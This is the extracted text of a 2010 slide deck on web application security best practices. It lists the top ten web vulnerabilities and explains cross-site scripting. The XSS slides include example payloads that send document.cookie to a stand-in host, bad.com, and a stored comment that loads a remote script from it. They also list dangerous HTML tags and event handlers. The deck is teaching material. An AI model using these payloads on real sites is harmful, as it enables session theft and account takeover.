SlideShare a Scribd company logo
BEST PRACTICES OF2010WEB APPLICATION SECURITYby SamvelGevorgyan
STATISTICS OF VULNERABILITIESSource: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
STATISTICS OF RISK LEVELSSource: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
TOP 10 HIGH LEVEL VULNERABILITIES01. Cross-Site Scripting (XSS) [Symantec - 2007]02. Information leakage03. SQL Injection [~2005]04. Cross-Site Request Forgery (CSRF) [1990s]05. ClickJacking [J.Grossman and R.Hansen - 2008]06. Phishing[1987, 1996]07. Path Traversal or Local/Remote File Inclusion08. Shell injection09. Session Hijacking [early 2000s]10. File uploads
CROSS-SITE SCRIPTINGDESCRIPTION:	Cross-Site Scripting is a type of web application vulnerability when the attacker injects his executable code into the vulnerable website.EXAMPLE:http://site.com/search.php?q=<script>alert(“XSS”)</script>
CROSS-SITE SCRIPTINGTYPES:Non-PersistantPersistant1.Non-Persistant:In this type of XSS vulnerability the attacker is able to execute his own code in a website but no changes can be done in that website.
CROSS-SITE SCRIPTINGNon-PersistantEXAMPLE:http://www.site.com/viewtopic.php?id=4"><script>document.location="http://bad.com/logger.php?cookie="+document.cookie;</script>OR	http://www.site.com/viewtopic.php?id=4”><script>document.write(“<img  src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>
CROSS-SITE SCRIPTING2.Persistant:In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing that data.Common targets are:Comments
Chat messages
E-mail messages
Wall posts, etc.CROSS-SITE SCRIPTINGPersistantEXAMPLE:
CROSS-SITE SCRIPTINGPersistantComment in raw format:and I like the way this website developerswork..hahaha :D :D<SCRIPT/XSS SRC="http://bad.com/xss.js"></SCRIPT>
CROSS-SITE SCRIPTINGPotentially Dangerous HTML elemets:TAGS<applet>
<body>
<embed>
<frame>
<script>
<frameset>
<html>
<iframe>
<img>
<style>
<layer>
<ilayer>
<meta>
<object> 	ATTRIBUTESsrc
style
href
lowsrcCROSS-SITE SCRIPTINGPotentially Dangerous HTML events:Onblur
Onchange
Onclick
Ondrag
Onerror
Onfocus
Onkeypress
Onkeyup
Onload
Onmouseover
Onmousemove
Onmove
Onresize
Onselectstart
Onselect
Onsubmit

More Related Content

Best practices of web app security (samvel gevorgyan)

Editor's Notes

  1. “A clever person solves a problem. A wise person avoids it.”Albert Einstein